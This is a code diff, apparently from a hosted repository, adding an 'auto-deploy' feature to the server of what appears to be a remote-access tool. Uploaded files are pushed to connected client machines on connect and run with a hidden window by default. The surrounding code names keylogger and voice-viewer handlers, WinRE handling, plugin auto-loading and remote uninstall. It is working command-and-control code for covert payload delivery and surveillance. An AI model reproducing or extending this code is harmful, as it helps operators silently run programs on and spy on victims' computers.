handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
||||
@@ -53,6 +55,7 @@ type HttpDispatchDeps<
|
||||
notificationsConfig: TNotificationsConfig;
|
||||
build: TBuild;
|
||||
deploy: TDeploy;
|
||||
autoDeploy: TAutoDeploy;
|
||||
winre: TWinRE;
|
||||
fileDownload: TFileDownload;
|
||||
plugin: TPlugin;
|
||||
@@ -69,6 +72,7 @@ export function createHttpFetchHandler<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TAutoDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
@@ -83,6 +87,7 @@ export function createHttpFetchHandler<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TAutoDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
@@ -111,6 +116,9 @@ export function createHttpFetchHandler<
|
||||
const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
|
||||
if (autoScriptsResponse) return autoScriptsResponse;
|
||||
|
||||
const autoDeployResponse = await deps.handleAutoDeployRoutes(req, url, deps.routeDeps.autoDeploy);
|
||||
if (autoDeployResponse) return autoDeployResponse;
|
||||
|
||||
const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
|
||||
if (enrollmentResponse) return enrollmentResponse;
|
||||
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import {
|
||||
createAutoDeploy,
|
||||
deleteAutoDeploy,
|
||||
getAutoDeploy,
|
||||
listAutoDeploys,
|
||||
updateAutoDeploy,
|
||||
type AutoDeployTrigger,
|
||||
} from "../../db";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { AUTO_DEPLOY_TRIGGERS, ALLOWED_OS_FILTERS } from "../validation-constants";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import type { DeployOs } from "../deploy-utils";
|
||||
|
||||
type AutoDeployRouteDeps = {
|
||||
DEPLOY_ROOT: string;
|
||||
detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
|
||||
};
|
||||
|
||||
export async function handleAutoDeployRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: AutoDeployRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "GET" && url.pathname === "/api/auto-deploys") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
return Response.json({ items: listAutoDeploys() });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/auto-deploys") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let form: FormData;
|
||||
try {
|
||||
form = await req.formData();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const file = form.get("file");
|
||||
if (!(file instanceof File)) {
|
||||
return Response.json({ error: "Missing file" }, { status: 400 });
|
||||
}
|
||||
|
||||
const name = String(form.get("name") || "").trim();
|
||||
const triggerRaw = String(form.get("trigger") || "").trim() as AutoDeployTrigger;
|
||||
const args = String(form.get("args") || "");
|
||||
const hideWindow = form.get("hideWindow") !== "false";
|
||||
const enabled = form.get("enabled") !== "false";
|
||||
let osFilterRaw: string[] = [];
|
||||
try {
|
||||
osFilterRaw = JSON.parse(String(form.get("osFilter") || "[]"));
|
||||
} catch { }
|
||||
const osFilter = Array.isArray(osFilterRaw)
|
||||
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string))
|
||||
: [];
|
||||
|
||||
if (!name) {
|
||||
return Response.json({ error: "Name is required" }, { status: 400 });
|
||||
}
|
||||
if (!AUTO_DEPLOY_TRIGGERS.has(triggerRaw)) {
|
||||
return Response.json({ error: "Invalid trigger" }, { status: 400 });
|
||||
}
|
||||
|
||||
const filename = path.basename(file.name || "upload.bin");
|
||||
const id = uuidv4();
|
||||
await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
|
||||
const folder = path.join(deps.DEPLOY_ROOT, "auto", id);
|
||||
await fs.mkdir(folder, { recursive: true });
|
||||
const targetPath = path.join(folder, filename);
|
||||
const bytes = new Uint8Array(await file.arrayBuffer());
|
||||
await fs.writeFile(targetPath, bytes);
|
||||
|
||||
const fileOs = deps.detectUploadOs(filename, bytes);
|
||||
|
||||
const item = createAutoDeploy({
|
||||
id,
|
||||
name,
|
||||
trigger: triggerRaw,
|
||||
filePath: targetPath,
|
||||
fileName: filename,
|
||||
fileSize: bytes.length,
|
||||
fileOs,
|
||||
args,
|
||||
hideWindow,
|
||||
enabled,
|
||||
osFilter,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, item });
|
||||
}
|
||||
|
||||
const autoDeployMatch = url.pathname.match(/^\/api\/auto-deploys\/(.+)$/);
|
||||
if (autoDeployMatch && req.method === "PUT") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined;
|
||||
if (triggerRaw && !AUTO_DEPLOY_TRIGGERS.has(triggerRaw as AutoDeployTrigger)) {
|
||||
return Response.json({ error: "Invalid trigger" }, { status: 400 });
|
||||
}
|
||||
|
||||
const osFilterRaw = Array.isArray(body?.osFilter) ? body.osFilter : undefined;
|
||||
const osFilter = osFilterRaw
|
||||
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string))
|
||||
: undefined;
|
||||
|
||||
const updated = updateAutoDeploy(autoDeployMatch[1], {
|
||||
name: body?.name ? String(body.name).trim() : undefined,
|
||||
trigger: triggerRaw as AutoDeployTrigger | undefined,
|
||||
args: typeof body?.args === "string" ? body.args : undefined,
|
||||
hideWindow: typeof body?.hideWindow === "boolean" ? body.hideWindow : undefined,
|
||||
enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined,
|
||||
osFilter,
|
||||
});
|
||||
|
||||
if (!updated) {
|
||||
return Response.json({ error: "Not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, item: updated });
|
||||
}
|
||||
|
||||
if (autoDeployMatch && req.method === "DELETE") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
const deploy = getAutoDeploy(autoDeployMatch[1]);
|
||||
if (deploy) {
|
||||
try {
|
||||
const dir = path.dirname(deploy.filePath);
|
||||
await fs.rm(dir, { recursive: true, force: true });
|
||||
} catch { }
|
||||
}
|
||||
|
||||
deleteAutoDeploy(autoDeployMatch[1]);
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -655,6 +655,7 @@ export async function handleClientRoutes(
|
||||
} else if (action === "uninstall") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
|
||||
metrics.recordCommand("uninstall");
|
||||
clientManager.deleteClient(targetId);
|
||||
deleteClientRow(targetId);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
|
||||
@@ -52,6 +52,7 @@ type WsLifecycleDeps = {
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
@@ -372,6 +373,7 @@ export async function handleWebSocketMessage(
|
||||
clientManager.addClient(infoObj.id, infoObj);
|
||||
|
||||
deps.dispatchAutoScriptsForConnection(infoObj, ws);
|
||||
deps.dispatchAutoDeploysForConnection(infoObj, ws);
|
||||
deps.dispatchAutoLoadPlugins(infoObj);
|
||||
deps.notifyDashboard();
|
||||
deps.notifyDashboardClientEvent("client_online", {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import type { AutoScriptTrigger } from "../db";
|
||||
import type { AutoScriptTrigger, AutoDeployTrigger } from "../db";
|
||||
|
||||
export const AUTO_SCRIPT_TRIGGERS = new Set<AutoScriptTrigger>([
|
||||
"on_connect",
|
||||
@@ -6,6 +6,12 @@ export const AUTO_SCRIPT_TRIGGERS = new Set<AutoScriptTrigger>([
|
||||
"on_connect_once",
|
||||
]);
|
||||
|
||||
export const AUTO_DEPLOY_TRIGGERS = new Set<AutoDeployTrigger>([
|
||||
"on_connect",
|
||||
"on_first_connect",
|
||||
"on_connect_once",
|
||||
]);
|
||||
|
||||
export const ALLOWED_SCRIPT_TYPES = new Set([
|
||||
"powershell",
|
||||
"bash",
|
||||
|
||||
@@ -22,6 +22,7 @@ export type SocketData = {
|
||||
userId?: number;
|
||||
wasKnown?: boolean;
|
||||
autoTasksRan?: boolean;
|
||||
autoDeploysRan?: boolean;
|
||||
enrollmentNonce?: string;
|
||||
};
|
||||
|
||||
|
||||
Reference in New Issue
Block a user